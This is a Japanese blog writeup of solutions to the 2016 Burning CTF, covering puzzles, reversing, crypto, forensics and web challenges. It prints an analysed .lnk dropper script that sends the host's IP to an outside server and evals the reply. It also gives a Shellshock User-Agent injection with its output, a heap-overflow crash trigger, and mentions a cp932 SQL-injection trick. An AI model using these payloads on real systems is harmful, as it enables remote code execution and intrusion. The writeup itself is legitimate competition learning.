場阿忍愚(バーニング)CTF writeup
投稿日: 最終更新日:2017/01/15 投稿者:xx2zz
場阿忍愚(バーニング)CTF が本日まで行われていたので参加した。
writeupを纏める時間が完全に足らなかったため、この記事は何度か追記する。
2016年02月08日 追記1
以下のwriteupを追記した。
解析術 – 情報漏洩、Cool Gadget、Encrypted Message
諜報術 – KDL
記述術 – search_duplicate_character_string
2016年02月09日 追記
以下のwriteupを追記して完成した。
芸術 – ワットイズディス?、cole nanee?、Lines and Boxes、Why want something more?、毎日使う、Extreme Shodo POWER!!
電網術 – ftp is not secure、ベーシック、Japanese kids are knowing、Malicious Code
諜報術 – Mr.Nipps
記述術 – JavaScript Puzzle、Count Number Of Flag’s SubString!、解凍?、Make sorted Amida kuji!!
超文書転送術 – GIFアニメ生成サイト、Network Tools、箱庭XSS、箱庭XSS2
練習
image level 1
脳内で画像を縦に繋げて読む。
Flag: START-YAMATO-SEC!!!
スポンサーリンク
芸術
ワットイズディス?
小さい由とヒントから推測。
Flag: 大和セキュリティ
cole nanee?
勘。
Flag: 忍
Lines and Boxes
ぱっと見アルファベットっぽいけど判別できない文字があるのでとりあえずGoogle画像検索したら、http://www.artnet.com/artists/xu-bing/an-introduction-to-square-word-calligraphy-album-AnjyuZEncsF4b4EV4mzP-g2 これが出てきた。
Flag: WORDPLAY
Why want something more?
Google画像検索でsato shozoという方の作品と分かったので、あとはそこから普通にググって見つけた。
http://issuu.com/poemelibreriadepoetas/docs/_shozo_sato__shodo_-_the_quiet_art_ これの57頁。 Nyozeと書いてある。
Flag: 如是
毎日使う
勘。
Flag: 氣
Extreme Shodo POWER!!
1文字目は画像検索で出てくる。
3,4文字目は http://www.kangxizidian.com/ ここの部首検索で同じ形の字があったらそこから頁を進めていくと見つかる。あとはIMEパッドと勘でがんばる。
氣之呼波和できのこぱわー。
Flag: きのこぱわー
二進術
壱萬回
とりあえずobjdump -dすると、showFlagという関数が見つかる。
0000000000400920 <showFlag>: 400920: 48 83 ec 08 sub $0x8,%rsp 400924: bf 46 00 00 00 mov $0x46,%edi 400929: e8 a2 fc ff ff callq 4005d0 <putchar@plt> 40092e: bf 4c 00 00 00 mov $0x4c,%edi 400933: e8 98 fc ff ff callq 4005d0 <putchar@plt> 400938: bf 41 00 00 00 mov $0x41,%edi 40093d: e8 8e fc ff ff callq 4005d0 <putchar@plt> 400942: bf 47 00 00 00 mov $0x47,%edi 400947: e8 84 fc ff ff callq 4005d0 <putchar@plt> 40094c: bf 5f 00 00 00 mov $0x5f,%edi 400951: e8 7a fc ff ff callq 4005d0 <putchar@plt> 400956: bf 35 00 00 00 mov $0x35,%edi 40095b: e8 70 fc ff ff callq 4005d0 <putchar@plt>
こんな感じで1文字ずつputchar()で出力しているので、文字列として繋げてやるとフラグが得られる。
Flag: FLAG_5c33a1b8860e47da864714e042e13f1e
DxLib遊戯如何様
DxLibを使って作られたゲームらしい。
data.dxaの中にフラグがありそうななので、DxLibのDxaDecode.exeというツールで展開を試みるが、鍵を指定しないと復号できないようだった。
http://homepage2.nifty.com/natupaji/DxLib/dxtec.html#T11 を見ると、
パスワードを設定したDXアーカイブをDXライブラリで使用する場合は LoadGraph 関数 などを使用する前に予め SetDXArchiveKeyString 関数でパスワードを指定しておく 必要があります。
と書いてあるので、SetDXArchiveKeyStringを呼んでそうな箇所をOllyDbgで探す。
CPU Disasm Address Hex dump Command Comments 010B1935 |. 68 40502801 |push offset 01285040 ; ASCII "ReverSi" 010B193A |. E8 E1B10200 |call 010DCB20 010B193F |. 6A 00 |push 0 ; /Arg8 = 0 010B1941 |. 8D45 E4 |lea eax, [local.7] ; | 010B1944 |. 50 |push eax ; |Arg7 => offset LOCAL.7 010B1945 |. 6A 30 |push 30 ; |Arg6 = 30 010B1947 |. 6A 30 |push 30 ; |Arg5 = 30 010B1949 |. 8BFE |mov edi, esi ; | 010B194B |. 57 |push edi ; |Arg4 010B194C |. 53 |push ebx ; |Arg3 010B194D |. 53 |push ebx ; |Arg2 010B194E |. 68 48502801 |push offset 01285048 ; |Arg1 = ASCII "data\piece.png" 010B1953 |. E8 98330300 |call 010E4CF0 ; \othello.010E4CF0
ここの”ReverSi”が怪しいので、これを鍵として展開をすると3つのファイルが得られた。
>DxaDecode.exe -K:ReverSi data.dxa
back.png back2.png piece.png
back2.pngの右下にフラグが書かれている。
Flag: otHeLlo_is_ReVersI
Unity遊戯如何様
3Dgame.app/Contents/REsources/Data/Managedの中のAssembly-CSharp.dllをILSpyで開いて、GUIManagerを逆コンパイルする。
string str = "_Tutorial"; ... string text = "its_3D_Game" + str; GUILayout.Label(string.Concat(new object[] { "Coins: ", this.coinsCollected, " / ", this.coinsInLevel, " FLAG{", text, "}"
textは”its_3D_Game_Tutorial”となるはずだが、これをポストしても不正解。
なぜかフラグが表示されている画面のキャプチャ(play.png)が添付されているので、これを良く見ると、”Coins:”の部分が大文字になっている。
ということはカーリーブレイス内の文字列も大文字なっていると考えられるので、textを大文字にしてポストしたら通った。
Flag: ITS_3D_GAME_TUTORIAL
解読術
image level 5
$ perl -MDigest::MD5 -e 'print $_,$",Digest::MD5::md5_hex($_),$/ for 1..9' 1 c4ca4238a0b923820dcc509a6f75849b 2 c81e728d9d4c2f636f067f89cc14862c 3 eccbc87e4b5ce2fe28308fd9f2a7baf3 4 a87ff679a2f3e71d9181a67b7542122c 5 e4da3b7fbbce2345d7772b0674a318d5 6 1679091c5a880faf6fb5e6087eb1b2dc 7 8f14e45fceea167a5a36dedd4bea2543 8 c9f0f895fb98ab9159f51fd0297e236d 9 45c48cce2e2d7fbdea1afc51c7c6ad26
ファイル名が’1’~’9’のmd5値になっているので、この順番に並び替えればよい。
Flag: KOUBE-GYU
Ninjya Crypto
http://iga-ueno.or.jp/ninjamoji/%E5%BF%8D%E8%80%85%E6%96%87%E5%AD%97%E3%83%95%E3%82%A9%E3%83%B3%E3%83%88/
忍者文字というものがあるらしい。これを基に読むと、「山と言えば」になるので答えは「川」。
Flag: 川
Decrypt RSA
RSAの公開鍵と暗号化されたファイルが渡される。
$ openssl rsa -pubin -text < public-key.pem Public-Key: (640 bit) Modulus: 00:ae:5b:b4:f2:66:00:32:59:cf:9a:6f:52:1c:3c: 03:41:01:76:cf:16:df:53:95:34:76:ea:e3:b2:1e: de:6c:3c:7b:03:bd:ca:20:b3:1c:00:67:ff:a7:97: e4:e9:10:59:78:73:ee:f1:13:a6:0f:ec:cd:95:de: b5:b2:bf:10:06:6b:e2:22:4a:ce:29:d5:32:dc:0b: 5a:74:d2:d0:06:f1 Exponent: 65537 (0x10001) writing RSA key -----BEGIN PUBLIC KEY----- MGwwDQYJKoZIhvcNAQEBBQADWwAwWAJRAK5btPJmADJZz5pvUhw8A0EBds8W31OV NHbq47Ie3mw8ewO9yiCzHABn/6eX5OkQWXhz7vETpg/szZXetbK/EAZr4iJKzinV MtwLWnTS0AbxAgMBAAE= -----END PUBLIC KEY-----
https://en.wikipedia.org/wiki/RSA_numbers#RSA-640 にpとqがあった。
http://d.hatena.ne.jp/kusano_k/20140323/1395571265 ここのスクリプトを使わせてもらって秘密鍵を作る。
あとはopensslで復号するだけ。
$ openssl rsautl -decrypt -inkey priv_key -in flag.txt FLAG_IS_WeAK_rSA
Flag: FLAG_IS_WeAK_rSA
Zach! Take a nap!
ナップサック暗号。
https://github.com/ctfs/write-ups-2014/tree/master/asis-ctf-quals-2014/archaic ここにLLLを使ったソルバがあったので、ファイル名とb.txtの個数部分を書き換えて走らせたが、それらしき数列は得られなかった。
以下のように行列を適当に調整したら-1と1のそれっぽい数列が得られた。
13c13 < A[i,i] = 1 --- > A[i,i] = 2 18c18,21 < A[nbit,nbit] = -int(encoded) --- > A[nbit,nbit] = int(encoded) > > for i in xrange(nbit): > A[nbit,i] = 1
[ -1 -1 1 1 -1 -1 1 1 -1 -1 1 -1 -1 1 1 1 -1 -1 1 1 1 1 -1 1 -1 -1 1 1 -1 -1 -1 1 1 -1 -1 -1 -1 1 -1 1 -1 -1 -1 -1 1 -1 -1 1 -1 1 1 1 1 1 -1 1 -1 -1 1 1 -1 1 1 1 -1 -1 1 -1 1 1 -1 1 -1 1 -1 1 1 -1 -1 1 -1 -1 1 -1 1 1 1 1 -1 -1 1 1 1 1 -1 1 -1 -1 1 -1 -1 1 -1 1 -1 -1 1 -1 1 1 -1 1 -1 -1 -1 1 1 -1 1 1 -1 1 -1 1 1 -1 -1 1 -1 -1 -1 1 1 1 1 1 -1 -1 1 -1 -1 -1 -1 1 -1 -1 1 -1 1 1 -1 1 -1 -1 1 -1 -1 1 1 1 -1 -1 1 1 -1 1 -1 1 -1 -1 1 1 -1 1 1 1 -1 -1 -1 -1 -1 1 -1 0]
>>> (hex(int("1100110011011000110000101100111001111010111101101000001011001000110100101010011011010000110000101101101011010010111001001010011011100000110 11110110100101101100011001010110010001111101", 2))[2:][:-1]).decode("hex") 'flag={AdiShamirSpoiled}'
Flag: AdiShamirSpoiled
攻撃術
craSH
cat hoge hoge > hoge のようにcatの入力と出力に同じファイルを指定すればクラッシュする。
argc_cat()
if (output->len < sz) { output->data = (char*)realloc(output->data, sizeof(char) * (sz+1)); } output->len = sz; ... written_pos = output->data; for (i=1; i<num; i++) { struct file *f = get_file(args[i]); if (f == NULL) continue; memcpy(written_pos, f->data, f->len); written_pos += f->len; }
例えば、cat fuga hoge > hogeすると、fuga+hogeのサイズでreallocしたバッファにfugaとhogeの中身をコピーするが、memcpyの時点で、hogeのサイズはfuga+hogeのサイズに書き換わっているため、fugaのサイズ分バッファオーバーフローしてしまう。
$ nc 210.146.64.35 31337 $ echo aaaaaaa > hoge $ cat hoge aaaaaaa $ cat hoge hoge hoge > hoge $ cat hge hge: File Not Found. $ cat hoge aaaaaaa $ cat hoge hoge hoge crash: malloc.c:2372: sysmalloc: Assertion `(old_top == (((mbinptr) (((char *) &((av)->bins[((1) - 1) * 2])) - __builtin_offsetof (struct malloc_chunk, fd)))) && old_size == 0) || ((unsigned long) (old_size) >= (unsigned long)((((__builtin_offsetof (struct malloc_chunk, fd_nextsize))+((2 *(sizeof(size_t))) - 1)) & ~((2 *(sizeof(size_t))) - 1))) && ((old_top)->size & 0x1) && ((unsigned long) old_end & pagemask) == 0)' failed. That's enough! flag={NoMoreBashdoor}
Flag: NoMoreBashdoor
解析術
Doubtful Files
WinRARの自己解凍ファイルっぽいアイコンのexe。
最初、ネイティブコードが改変されているのかと予想したが、自分で作った自己解凍ファイル末尾のrarファイル以外一致したため、答えはやはりrarファイル内にあると考えた。
rarファイルのフォーマットと照らし合わせてバイナリを眺めてみると、実際のファイルサイズと比べてやけにデータが多い気がするので、rarについていろいろ調べていると、代替ファイルストリームが格納できるという情報を見つけた。
$ more < 7.inf:Zone.Identifier [ZoneTransfer] ZoneId=0 ZmxhZz17QWx0ZXJuYXRlIERhdG ... $ more < 8.vbs:Zone.Identifier [ZoneTransfer] ZoneId=4 EgU3RyZWFtIG9uIE5URlMhfQ==
Base64っぽい文字列が含まれていた。
ZmxhZz17QWx0ZXJuYXRlIERhdGEgU3RyZWFtIG9uIE5URlMhfQ== flag={Alternate Data Stream on NTFS!}
デコードするとフラグが得られた。
Flag: Alternate Data Stream on NTFS!
情報漏洩
Wiresharkで開くと、PNGのヘッダが見つかる。
そこから3パケット分ほどデータを取り出して結合するとフラグが書かれた画像になる。
Flag: gambare benesse
Speech by google translate
wavのヘッダ情報を見ると実際のファイルサイズと一致していない箇所があるのでそこを書き換えて再生するだけ。
Flag: X5kpBQJUufHdkch923SJ
Cool Gadget
jpegデータの途中に
removeme={U2FsdGVkX19DElLZ5iosaBUi9M5zUkEIeSRJkzkbf8XfGIuf2KvFOw71OJ0WmeJ0}
が入っているので、これを消すと画像から”EAHIV”という文字が読み取れる。
{}の中の文字列はBase64っぽいのでデコードすると
Salted__CRル・,h"sRy$I9ナ
こんな感じになるので、Saltedでググるとopensslで暗号化したデータらしいことがわかる。
パスにEAHIVを指定してAES-128-CBCで復号したらフラグが出た。
$ echo "U2FsdGVkX19DElLZ5iosaBUi9M5zUkEIeSRJkzkbf8XfGIuf2KvFOw71OJ0WmeJ0" | openssl enc -d -aes-128-cbc -base64 -pass pass:EAHIV -p salt=431252D9E62A2C68 key=FDA9546F23D61065159D37C3371DDFD4 iv =E8270F80067CDB100C53B6D85937DFA6 flag={Cryptex is cool!}
Flag: Cryptex is cool!
Encrypted Message
メモリダンプっぽいファイルと1,048,576バイトの「155-secret」というファイルが与えられる。
ファイルサイズが1MBちょうどである点、ヘッダに特徴的なパターンやシグネチャが見られないことからTrueCryptで暗号化されたファイルと予想。
155-memdump.memのほうをstringsにかけても、”TrueCrypt”という文字列がが複数出てくるのでその可能性は高いと判断。
“truecrypt ctf”でググると同じ問題のwriteupが見つかったので同じ方法で中のファイルを取り出した。
http://mweissbacher.com/blog/2011/05/17/plaidctf-writeup-fun-with-firewire/
TrueCryptにはヘッダに暗号化された状態で埋め込まれる2つのマスタ鍵とヘッダ自体を暗号化するためのヘッダ鍵の2つがあるらしい。
aeskeyfindで2つのマスタ鍵が見つかるので、それをTrueCryptのソースコード中に埋め込む。
あとは、自前で作成したTrueCryptファイルとヘッダ(先頭512バイト)を差し替えて、自分で設定したパスワードでマウントすれば中のファイルが取り出せる。
TrueCryptのビルドが面倒そうなので、自分で作ったTrueCryptファイルのヘッダを一度復号化してマスタ鍵を差し替える方法も考えたが、ヘッダのフォーマットについてより詳細な理解が必要そうなので、上記writeupと同じ方法をとった。
Flag: Already Ended In 5/2014
電網術
ftp is not secure
テキストエディタで開くとBase64っぽい文字列が見つかるのでデコードしたらフラグが出てきた。
Flag: XTInX69nqvFaoEwwNb
ベーシック
レスポンスのステータスコードが200のリクエストのAuthorizationヘッダの値をBase64デコードすると、http://burning.nsc.gr.jpというURLが出てくるので、そこに同じAuthorizationヘッダを付けてリクエストを投げたらフラグが降ってきた。
$ telnet burning.nsc.gr.jp 80 Trying 210.146.64.41... Connected to burning.nsc.gr.jp. Escape character is '^]'. GET / HTTP/1.1 Host: burning.nsc.gr.jp Connection: close Authorization: Basic aHR0cDovL2J1cm5pbmcubnNjLmdyLmpw HTTP/1.1 200 OK Date: Mon, 08 Feb 2016 17:31:58 GMT Server: Apache/2.4.7 (Ubuntu) Last-Modified: Tue, 13 Oct 2015 04:50:46 GMT ETag: "4c-521f530637d18" Accept-Ranges: bytes Content-Length: 76 Vary: Accept-Encoding Connection: close Content-Type: text/html <html> <head> </head> <body> <p>flag={BasicIsNotSecure}</p> </body> </html> Connection closed by foreign host.
Flag: BasicIsNotSecure
Japanese kids are knowing
nmapでポートスキャンするが、デフォルトの範囲だと見つからない。 範囲を広げて再度ポートスキャンすると開いてるポートが見つかるので繋ぎにとなにやら表示される。
$ telnet 210.146.64.34 5006 Trying 210.146.64.34... Connected to 210.146.64.34. Escape character is '^]'. <C-D-E-F-E-D-C---E-F-G-A-G-F-E---C-C-C-C-CCDDEEFFE-D-C->what animal am i?the flag is the md5 hash of my name in lower case.
CCDDEEFFEあたりでぐぐると「かえるのうた」だとわかるので、Frogのmd5がフラグ。
Flag: 239243b6cfcaef84a6d7004f21b7af6f
Malicious Code
Wiresharkで覗くとp.linkのレスポンスが怪しいので、取り出して調べるとWindowsのショートカットリンクらしい。
実行すると、%tmp%にjsファイルが出力される。適当に整形すると、以下のようになる。
function ip() { var w = GetObject("winmgmts:{impersonationLevel=impersonate}"); e = new Enumerator(w.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True")); return e.item().IPAddress(0) } function p(u, d) { var r = new ActiveXObject("Msxml2.ServerXMLHTTP"); r.open("POST", u, false); r.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); r.setOption(2, 13056); r.send(d); return r.responseText } var u = "https://210.146.64.38:60444/p.php"; var d = "myaddr=" + ip(); eval(p(u, d));
ip()の戻り値は実行したマシンのIPアドレスになるので、pcapファイルから得られる10.0.2.222にしてリクエストを投げるとフラグが得られる。
function ip() { var w = GetObject("winmgmts:{impersonationLevel=impersonate}"); e = new Enumerator(w.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True")); return e.item().IPAddress(0) } function p(u, d) { var r = new ActiveXObject("Msxml2.ServerXMLHTTP"); r.open("POST", u, false); r.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); r.setOption(2, 13056); r.send(d); return r.responseText } var u = "https://210.146.64.38:60444/p.php"; var d = "myaddr=" + "10.0.2.222"; WScript.Echo(p(u, d));
--------------------------- Windows Script Host --------------------------- WScript.Echo('flag = {lnk is sometimes malicious}') --------------------------- OK ---------------------------
Flag: lnk is sometimes malicious
諜報術
KDL
archive.orgで昔のページが見れる。
https://web.archive.org/web/19981212030254/http://www.kdl.co.jp/
Flag: ソフトウェア開発エンジニア
Mr.Nipps
どのページか失念してしまったが、Twitterから辿ったinstagramのlocationsのページに位置情報が埋め込まれていたのでそれで通った。
Flag: 34.0409203,-118.2672272
タナカハック
www.yamatosecurity.comにあるファイルを全部取ると数個しかなかったのでバイナリエディタで開いて目grep
Flag: tanakazakkarini123
記述術
search_duplicate_character_string
my $data = do {local $/; <>}; for my $i (0..length($data)-1) { my $sub = substr($data, $i, 20); my $pos = 0; if (($pos = index($data, $sub, $i+5)) >= 0) { print $sub,$",$pos,$/; } }
f_sz!bp_$gufl=b?za>i 156916 _sz!bp_$gufl=b?za>is 156917 sz!bp_$gufl=b?za>is# 156918 z!bp_$gufl=b?za>is#c 156919 !bp_$gufl=b?za>is#c| 156920 bp_$gufl=b?za>is#c|! 156921 p_$gufl=b?za>is#c|!? 156922 _$gufl=b?za>is#c|!?c 156923 $gufl=b?za>is#c|!?cx 156924 gufl=b?za>is#c|!?cxp 156925 ufl=b?za>is#c|!?cxpr 156926 fl=b?za>is#c|!?cxpr! 156927 l=b?za>is#c|!?cxpr!i 156928 =b?za>is#c|!?cxpr!i> 156929 b?za>is#c|!?cxpr!i>< 156930
こんな適当な感じのスクリプトを回して、見つかった文字列を適当に繋げればいけた。
Flag: fsz!bp$gufl=b?za>is#c|!?cxpr!i><
JavaScript Puzzle
まず、ALERTになるように数字を並べる。[ (0O000101), (0b1001100), (101), 0x52, 0x54 ] あとは、それっぽいところに適当に当てはめたらいけた。
window["eval"]["call"]`${ [ (0O000101), (0b1001100), (101), 0x52, 0x54 ] ["map"](x=>String["fromCodePoint"](x))["join"]("")["toLowerCase"]() +"(1)" }`;
Flag: 4c0bf259050d08b8982b6ae43ad0f12be030f191
Count Number Of Flag’s SubString!
最初にa-zの数を調べて、あとは1文字ずつ探していった。
スクリプトは残っていないので省略。
FLAG: afsfdsfdsfso_idardkxa_hgiahrei_nxnkasjdx_hfuidgire_anreiafn_dskafiudsurerfrandskjnxxr
解凍?
無駄に冗長なスクリプトを書いて解凍した。
#!/usr/bin/perl use strict; my $data = do {local $/; <>}; my $file = 'flag'; open my $fw, '>', 'flag' or die; print $fw $data; close $fw; my %func = ( 'zip' => sub { my $file = shift; unlink("flag.zip"); system("mv $$file flag.zip"); unlink("flag.txt"); system('unzip flag.zip'); $$file = 'flag.txt'; }, 'tar' => sub { my $file = shift; unlink("flag.tar"); system("mv $$file flag.tar"); unlink("flag.txt"); system("tar vxf flag.tar"); $$file = 'flag.txt'; }, 'bz2' => sub { my $file = shift; unlink("flag.bz2"); system("mv $$file flag.bz2"); unlink("flag"); system("bzip2 -d flag.bz2"); $$file = "flag"; }, 'gzip' => sub { my $file = shift; unlink("flag.gz"); system("mv $$file flag.gz"); unlink("flag"); system("gunzip flag.gz"); $$file = "flag"; } ); sub get_file_type { my $head = shift; if (substr($head, 0, 2) eq "\x1f\x8b") { print "gzip\t"; return $func{gzip}; } if (substr($head, 0, 2) eq "\x50\x4b") { print "zip\t"; return $func{zip}; } if (substr($head, 0, 2) eq "\x66\x6c") { print "tar\t"; return $func{tar}; } if (substr($head, 0, 2) eq "\x42\x5a") { print "bz2\t"; return $func{bz2}; } return undef; } while (1) { open my $fr, $file or die; my $data = do {local $/=\4; <$fr>}; close $fr; my $type = get_file_type($data); die 'unkown file type' unless $type; $type->(\$file); print $file,$/; }
Flag: 6aKuZrEqxvBZUIqBOXgMclLwpQCo8OXi
Make sorted Amida kuji!!
第一ステージは適当にデータを並び替えて遊べば次のステージにいける。第二ステージはパターンを絞って総当たり。
ソルバは1つのファイルにまとまっていないため省略。
Flag: 021qsyrsuq2020dtsqpq02020zqkiq202020b+tq9202020m_q382020201q34620202qq8b6220202qk+h0l2020qesrqypq02q
超文書転送術
GIFアニメ生成サイト
http://210.146.64.47/movies/newgif/1 を開くと1番のGIF動画が表示される。 一瞬だけFlagが表示されるので、タイミングを見計らってスクリーンショットをとる。
Flag: H0WdoUpronunceGIF?
Network Tools
Shellshock(CVE-2014-6271)。
UserAgentに’User-Agent: () { :; }; echo *’,こんな感じでコマンドを仕込める。
HTTP/1.1 200 OK Date: Sat, 12 Dec 2015 08:23:06 GMT Server: Apache/2.2.15 (CentOS) Content-Length: 1188 Connection: close Content-Type: text/html; charset=utf-8 <!doctype html> <title>Network Tools Collection</title> <link rel=stylesheet type=text/css href="/static/style.css"> <div class=page> <div id='menu'> <ul> <li><a href="/">Welcome</a></li> <li><a href="/list">Command List</a></li> <li><a href="/about">About</a></li> <li><a href="/contact">Contact Info</a></li> </ul> <div class='caption'>Network Tools ver 0.1</div> </div> <div id='content'> <div class='headline'>ps </div> <div class='body'> flag.txt logs logs.py myapp.cgi nwtools.py static templates<br /> PID TTY TIME CMD<br /> 48 ? 00:00:00 httpd<br /> 49 ? 00:00:00 httpd<br /> 50 ? 00:00:00 httpd<br /> 51 ? 00:00:00 httpd<br /> 52 ? 00:00:00 httpd<br /> 53 ? 00:00:00 httpd<br /> 54 ? 00:00:00 httpd<br /> 55 ? 00:00:00 httpd<br /> 1802 ? 00:00:00 httpd<br /> 6662 ? 00:00:00 myapp.cgi<br /> 6667 ? 00:00:00 ps<br /> <br /> </div> <div> <br /> <a href="/list">Return</a> </div> </div> </div>
Flag: Update bash to the latest version!
箱庭XSS
Electronで作られたアプリケーション。
resource/app.asarをこれで展開するとJavaScriptファイルが出てくるので、難読化を適当に解いてフラグを取る。
function anonymous() {message = 'FLAG is 2ztJcvm2h52WGvZxF98bcpWv', window.alert = 'U asshole! hehehehe.', $('#submit').click(function(){ try { window.alert = function() { $('.main-pane').prepend($('<div>').addClass('alert').addClass('alert-success').attr('role', 'alert').text(message)) }, $('#result').html($('input[name=username]').val().toUpperCase()), setTimeout(function() { window.alert = 'U asshole! hehehehe.' }, 10) } catch(e) { window.alert = 'U asshole! hehehehe.' } })}
Flag: 2ztJcvm2h52WGvZxF98bcpWv
箱庭XSS 2
こちらもまったく同じ方法でフラグが得られる。
Flag: n2SCCerG4J9kDkHqvHJNhwr4
YamaToDo
MySQLで
SET NAMES SJIS
とすると一部の文字列(例えば表)とかでエスケープされるとかされないとかそういうアレを使う。
ちなみにSJISは使えないのでcp932を使う。
SJISをはじいてるのが逆にヒントになった。
Flag: r3m3Mb3r_5c_pr0bL3m
兵法術
自明なので省略。弐だけ縦の数字の肆と柒が入れ替わってる。
将棋詰め壱
自明なので省略。
将棋詰め弐
自明なので省略。
将棋詰め参
自明なので省略。
将棋詰め四
自明なので省略。
Comment
壱萬回でPerlにevalで1万回計算させた僕がバカみたい。
脳筋プレイヤー乙
うるせーFLAG取れりゃいいんだよ(威圧
解凍のやつ、バイナリエディタで開いたら頭がBZだったからってとりあえず7zipで開いてひたすら手動で無心になって連打してたから紛れもなく脳筋だったわ。
全完おめでとうForYou殿!
ToRの出口ノードじゃねえか(おこ
??
私はForYouさんじゃないですよ^^
全完してないですし…
> SJISをはじいてるのが逆にヒントになった
意図を理解して頂けて大変うれしいです☆(ゝω・)v
僕もcp932にして解いたのですが、別解を参照すると面白いですね。
chromeの検証とかでログイン画面のactionを適当な値に書き換えてあとはidにyamato、パスを適当な値にするだけでふつうに見れてしまって笑いました。あの苦労は何だったのか。